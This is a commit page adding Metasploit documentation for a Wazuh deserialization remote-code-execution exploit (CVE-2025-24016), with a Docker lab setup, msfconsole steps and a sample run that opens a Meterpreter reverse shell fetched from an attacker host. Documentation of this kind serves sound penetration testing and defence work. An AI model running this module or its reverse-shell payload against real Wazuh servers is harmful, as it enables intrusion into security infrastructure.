Skip to content

Commit 6393154

Browse files
committed
added attackerkb reference + documenttaion
1 parent f6e0c43 commit 6393154

File tree

2 files changed

+382
-1
lines changed

2 files changed

+382
-1
lines changed
Lines changed: 381 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,381 @@
1+
## Vulnerable Application
2+
Wazuh is a free and open source platform used for threat prevention, detection, and response.
3+
Starting in version `4.4.0` and prior to version `4.9.1`, an unsafe deserialization vulnerability allows for remote code
4+
execution on Wazuh servers. DistributedAPI parameters are a serialized as JSON and deserialized using `as_wazuh_object` in
5+
`/var/ossec/framework/wazuh/core/cluster/common.py`. If an attacker manages to inject an unsanitized dictionary in DAPI
6+
request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
7+
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or,
8+
in certain configurations, even by a compromised agent.
9+
10+
The following Wazuh release has been tested:
11+
* Wazuh Server 4.8.2 multi-node cluster running on Docker Desktop
12+
13+
See also this [attackerkb article](https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016) for more info.
14+
15+
## Installation
16+
### Installation steps to install the Wazuh Server application
17+
* Install `Docker` on your preferred platform.
18+
* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/).
19+
* Create a empty directory (`wazuh-docker`).
20+
* Create the `generate-indexer-certs.yml` file in the directory.
21+
```yaml
22+
# Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2)
23+
version: '3'
24+
25+
services:
26+
generator:
27+
image: wazuh/wazuh-certs-generator:0.0.2
28+
hostname: wazuh-certs-generator
29+
volumes:
30+
- ./config/wazuh_indexer_ssl_certs/:/certificates/
31+
- ./config/certs.yml:/config/certs.yml
32+
```
33+
* Run the certificate creation script.
34+
```
35+
docker-compose -f generate-indexer-certs.yml run --rm generator
36+
```
37+
* Create the following `docker-compose.yml` file in the directory. This will automatically create a Wazuh server multi-node cluster.
38+
* You can modify the `4.8.2` version in the `yml` file to pull different versions.
39+
```yaml
40+
# Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2)
41+
version: '3.7'
42+
43+
services:
44+
wazuh.master:
45+
image: wazuh/wazuh-manager:4.8.2
46+
hostname: wazuh.master
47+
restart: always
48+
ulimits:
49+
memlock:
50+
soft: -1
51+
hard: -1
52+
nofile:
53+
soft: 655360
54+
hard: 655360
55+
ports:
56+
- "1515:1515"
57+
- "514:514/udp"
58+
- "55000:55000"
59+
environment:
60+
- INDEXER_URL=https://wazuh1.indexer:9200
61+
- INDEXER_USERNAME=admin
62+
- INDEXER_PASSWORD=SecretPassword
63+
- FILEBEAT_SSL_VERIFICATION_MODE=full
64+
- SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
65+
- SSL_CERTIFICATE=/etc/ssl/filebeat.pem
66+
- SSL_KEY=/etc/ssl/filebeat.key
67+
- API_USERNAME=wazuh-wui
68+
- API_PASSWORD=MyS3cr37P450r.*-
69+
volumes:
70+
- master-wazuh-api-configuration:/var/ossec/api/configuration
71+
- master-wazuh-etc:/var/ossec/etc
72+
- master-wazuh-logs:/var/ossec/logs
73+
- master-wazuh-queue:/var/ossec/queue
74+
- master-wazuh-var-multigroups:/var/ossec/var/multigroups
75+
- master-wazuh-integrations:/var/ossec/integrations
76+
- master-wazuh-active-response:/var/ossec/active-response/bin
77+
- master-wazuh-agentless:/var/ossec/agentless
78+
- master-wazuh-wodles:/var/ossec/wodles
79+
- master-filebeat-etc:/etc/filebeat
80+
- master-filebeat-var:/var/lib/filebeat
81+
- ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
82+
- ./config/wazuh_indexer_ssl_certs/wazuh.master.pem:/etc/ssl/filebeat.pem
83+
- ./config/wazuh_indexer_ssl_certs/wazuh.master-key.pem:/etc/ssl/filebeat.key
84+
- ./config/wazuh_cluster/wazuh_manager.conf:/wazuh-config-mount/etc/ossec.conf
85+
86+
wazuh.worker:
87+
image: wazuh/wazuh-manager:4.8.2
88+
hostname: wazuh.worker
89+
restart: always
90+
ulimits:
91+
memlock:
92+
soft: -1
93+
hard: -1
94+
nofile:
95+
soft: 655360
96+
hard: 655360
97+
ports:
98+
- "56000:55000"
99+
- "5555:5555"
100+
environment:
101+
- INDEXER_URL=https://wazuh1.indexer:9200
102+
- INDEXER_USERNAME=admin
103+
- INDEXER_PASSWORD=SecretPassword
104+
- FILEBEAT_SSL_VERIFICATION_MODE=full
105+
- SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
106+
- SSL_CERTIFICATE=/etc/ssl/filebeat.pem
107+
- SSL_KEY=/etc/ssl/filebeat.key
108+
- PYTHONBREAKPOINT=remote_pdb.set_trace
109+
- REMOTE_PDB_HOST=0.0.0.0
110+
- REMOTE_PDB_PORT=5555
111+
volumes:
112+
- worker-wazuh-api-configuration:/var/ossec/api/configuration
113+
- worker-wazuh-etc:/var/ossec/etc
114+
- worker-wazuh-logs:/var/ossec/logs
115+
- worker-wazuh-queue:/var/ossec/queue
116+
- worker-wazuh-var-multigroups:/var/ossec/var/multigroups
117+
- worker-wazuh-integrations:/var/ossec/integrations
118+
- worker-wazuh-active-response:/var/ossec/active-response/bin
119+
- worker-wazuh-agentless:/var/ossec/agentless
120+
- worker-wazuh-wodles:/var/ossec/wodles
121+
- worker-filebeat-etc:/etc/filebeat
122+
- worker-filebeat-var:/var/lib/filebeat
123+
- ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
124+
- ./config/wazuh_indexer_ssl_certs/wazuh.worker.pem:/etc/ssl/filebeat.pem
125+
- ./config/wazuh_indexer_ssl_certs/wazuh.worker-key.pem:/etc/ssl/filebeat.key
126+
- ./config/wazuh_cluster/wazuh_worker.conf:/wazuh-config-mount/etc/ossec.conf
127+
128+
wazuh1.indexer:
129+
image: wazuh/wazuh-indexer:4.8.2
130+
hostname: wazuh1.indexer
131+
restart: always
132+
ports:
133+
- "9200:9200"
134+
environment:
135+
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
136+
- "bootstrap.memory_lock=true"
137+
ulimits:
138+
memlock:
139+
soft: -1
140+
hard: -1
141+
nofile:
142+
soft: 65536
143+
hard: 65536
144+
volumes:
145+
- wazuh-indexer-data-1:/var/lib/wazuh-indexer
146+
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
147+
- ./config/wazuh_indexer_ssl_certs/wazuh1.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.key
148+
- ./config/wazuh_indexer_ssl_certs/wazuh1.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.pem
149+
- ./config/wazuh_indexer_ssl_certs/admin.pem:/usr/share/wazuh-indexer/certs/admin.pem
150+
- ./config/wazuh_indexer_ssl_certs/admin-key.pem:/usr/share/wazuh-indexer/certs/admin-key.pem
151+
- ./config/wazuh_indexer/wazuh1.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
152+
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml
153+
154+
wazuh2.indexer:
155+
image: wazuh/wazuh-indexer:4.8.2
156+
hostname: wazuh2.indexer
157+
restart: always
158+
environment:
159+
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
160+
- "bootstrap.memory_lock=true"
161+
ulimits:
162+
memlock:
163+
soft: -1
164+
hard: -1
165+
nofile:
166+
soft: 65536
167+
hard: 65536
168+
volumes:
169+
- wazuh-indexer-data-2:/var/lib/wazuh-indexer
170+
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
171+
- ./config/wazuh_indexer_ssl_certs/wazuh2.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.key
172+
- ./config/wazuh_indexer_ssl_certs/wazuh2.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.pem
173+
- ./config/wazuh_indexer/wazuh2.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
174+
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml
175+
176+
wazuh3.indexer:
177+
image: wazuh/wazuh-indexer:4.8.2
178+
hostname: wazuh3.indexer
179+
restart: always
180+
environment:
181+
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
182+
- "bootstrap.memory_lock=true"
183+
ulimits:
184+
memlock:
185+
soft: -1
186+
hard: -1
187+
nofile:
188+
soft: 65536
189+
hard: 65536
190+
volumes:
191+
- wazuh-indexer-data-3:/var/lib/wazuh-indexer
192+
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
193+
- ./config/wazuh_indexer_ssl_certs/wazuh3.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.key
194+
- ./config/wazuh_indexer_ssl_certs/wazuh3.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.pem
195+
- ./config/wazuh_indexer/wazuh3.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
196+
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml
197+
198+
wazuh.dashboard:
199+
image: wazuh/wazuh-dashboard:4.8.2
200+
hostname: wazuh.dashboard
201+
restart: always
202+
ports:
203+
- 443:5601
204+
environment:
205+
- OPENSEARCH_HOSTS="https://wazuh1.indexer:9200"
206+
- WAZUH_API_URL="https://wazuh.master"
207+
- API_USERNAME=wazuh-wui
208+
- API_PASSWORD=MyS3cr37P450r.*-
209+
- DASHBOARD_USERNAME=kibanaserver
210+
- DASHBOARD_PASSWORD=kibanaserver
211+
volumes:
212+
- ./config/wazuh_indexer_ssl_certs/wazuh.dashboard.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard.pem
213+
- ./config/wazuh_indexer_ssl_certs/wazuh.dashboard-key.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard-key.pem
214+
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-dashboard/certs/root-ca.pem
215+
- ./config/wazuh_dashboard/opensearch_dashboards.yml:/usr/share/wazuh-dashboard/config/opensearch_dashboards.yml
216+
- ./config/wazuh_dashboard/wazuh.yml:/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml
217+
- wazuh-dashboard-config:/usr/share/wazuh-dashboard/data/wazuh/config
218+
- wazuh-dashboard-custom:/usr/share/wazuh-dashboard/plugins/wazuh/public/assets/custom
219+
depends_on:
220+
- wazuh1.indexer
221+
links:
222+
- wazuh1.indexer:wazuh1.indexer
223+
- wazuh.master:wazuh.master
224+
225+
nginx:
226+
image: nginx:stable
227+
hostname: nginx
228+
restart: always
229+
ports:
230+
- "1514:1514"
231+
depends_on:
232+
- wazuh.master
233+
- wazuh.worker
234+
- wazuh.dashboard
235+
links:
236+
- wazuh.master:wazuh.master
237+
- wazuh.worker:wazuh.worker
238+
- wazuh.dashboard:wazuh.dashboard
239+
volumes:
240+
- ./config/nginx/nginx.conf:/etc/nginx/nginx.conf:ro
241+
242+
volumes:
243+
master-wazuh-api-configuration:
244+
master-wazuh-etc:
245+
master-wazuh-logs:
246+
master-wazuh-queue:
247+
master-wazuh-var-multigroups:
248+
master-wazuh-integrations:
249+
master-wazuh-active-response:
250+
master-wazuh-agentless:
251+
master-wazuh-wodles:
252+
master-filebeat-etc:
253+
master-filebeat-var:
254+
worker-wazuh-api-configuration:
255+
worker-wazuh-etc:
256+
worker-wazuh-logs:
257+
worker-wazuh-queue:
258+
worker-wazuh-var-multigroups:
259+
worker-wazuh-integrations:
260+
worker-wazuh-active-response:
261+
worker-wazuh-agentless:
262+
worker-wazuh-wodles:
263+
worker-filebeat-etc:
264+
worker-filebeat-var:
265+
wazuh-indexer-data-1:
266+
wazuh-indexer-data-2:
267+
wazuh-indexer-data-3:
268+
wazuh-dashboard-config:
269+
wazuh-dashboard-custom:
270+
```
271+
* Run following command `docker-compose up -d` to install and run the Wazuh server cluster environment.
272+
* Your Wazuh server should be accessible on `https://localhost` with an active Wazuh server cluster running.
273+
* You can bring down the environment for a fresh start with the command `docker-compose down`.
274+
275+
You are now ready to test the module.
276+
277+
**IMPORTANT NOTE:**
278+
This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function.
279+
It is important to understand that the worker-server port (`55000`) should be exposed to the outside world in order to trigger
280+
this vulnerability. In the above lab setup, it is exposed on port `56000` (see the `docker-compose.yml` file)
281+
Using it directly on the master-server port (`55000`) will not work because the DAPI request is not leveraged in this case, hence
282+
the vulnerable code will not be triggered.
283+
284+
## Verification Steps
285+
- [ ] Start `msfconsole`
286+
- [ ] `use exploit/linux/http/wazuh_auth_rce_cve_2025_24016`
287+
- [ ] `set rhosts <ip-target>`
288+
- [ ] `set rport <port>`
289+
- [ ] `set lhost <attacker-ip>`
290+
- [ ] `set target <0=Unix/Linux Command>`
291+
- [ ] `exploit`
292+
293+
you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings.
294+
295+
## Options
296+
**API Credentials:**
297+
`API_PWD` Wazuh API password (MyS3cr37P450r.*-)
298+
`API_USER` Wazuh API user (wazuh-wui)
299+
300+
## Scenarios
301+
### Wazuh server 4.8.2 on Docker Desktop
302+
```msf
303+
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > options
304+
305+
Module options (exploit/linux/http/wazuh_auth_rce_cve_2025_24016):
306+
307+
Name Current Setting Required Description
308+
---- --------------- -------- -----------
309+
API_PWD MyS3cr37P450r.*- yes Wazuh API password
310+
API_USER wazuh-wui yes Wazuh API user
311+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http,
312+
socks5h
313+
RHOSTS 192.168.201.85 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
314+
RPORT 56000 yes The target port (TCP)
315+
SSL true no Negotiate SSL/TLS for outgoing connections
316+
TARGETURI / yes Path to the wazuh manager
317+
VHOST no HTTP server virtual host
318+
319+
320+
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
321+
322+
Name Current Setting Required Description
323+
---- --------------- -------- -----------
324+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
325+
FETCH_DELETE false yes Attempt to delete the binary after execution
326+
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python
327+
variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
328+
FETCH_SRVHOST no Local IP to use for serving payload
329+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
330+
FETCH_URIPATH no Local URI to use for serving payload
331+
LHOST 192.168.201.10 yes The listen address (an interface may be specified)
332+
LPORT 4444 yes The listen port
333+
334+
335+
When FETCH_COMMAND is one of CURL,WGET:
336+
337+
Name Current Setting Required Description
338+
---- --------------- -------- -----------
339+
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
340+
341+
342+
When FETCH_FILELESS is none:
343+
344+
Name Current Setting Required Description
345+
---- --------------- -------- -----------
346+
FETCH_FILENAME WqYFaNqq no Name to use on remote system when storing payload; cannot contain spaces or slashes
347+
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
348+
349+
350+
Exploit target:
351+
352+
Id Name
353+
-- ----
354+
0 Unix/Linux Command
355+
356+
View the full module info with the info, or info -d command.
357+
358+
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > rexploit
359+
[*] Reloading module...
360+
[*] Started reverse TCP handler on 192.168.201.10:4444
361+
[*] Running automatic check ("set AutoCheck false" to disable)
362+
[+] The target appears to be vulnerable. Wazuh version 4.8.2
363+
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
364+
[*] Sending stage (3090404 bytes) to 192.168.201.85
365+
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.85:58215) at 2025-07-16 08:14:53 +0000
366+
367+
meterpreter > getuid
368+
Server username: wazuh
369+
meterpreter > sysinfo
370+
Computer : wazuh.master
371+
OS : (Linux 6.10.14-linuxkit)
372+
Architecture : x64
373+
BuildTuple : x86_64-linux-musl
374+
Meterpreter : x64/linux
375+
meterpreter > pwd
376+
/
377+
meterpreter >
378+
```
379+
380+
## Limitations
381+
This module works only on Wazuh Server multi-node cluster configuration.

modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ def initialize(info = {})
3131
'References' => [
3232
['CVE', '2025-24016'],
3333
['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh'],
34-
['URL', 'https://attackerkb.com/topics/xxx/cve-2025-24016']
34+
['URL', 'https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016']
3535
],
3636
'License' => MSF_LICENSE,
3737
'Platform' => ['unix', 'linux'],

0 commit comments

Comments
 (0)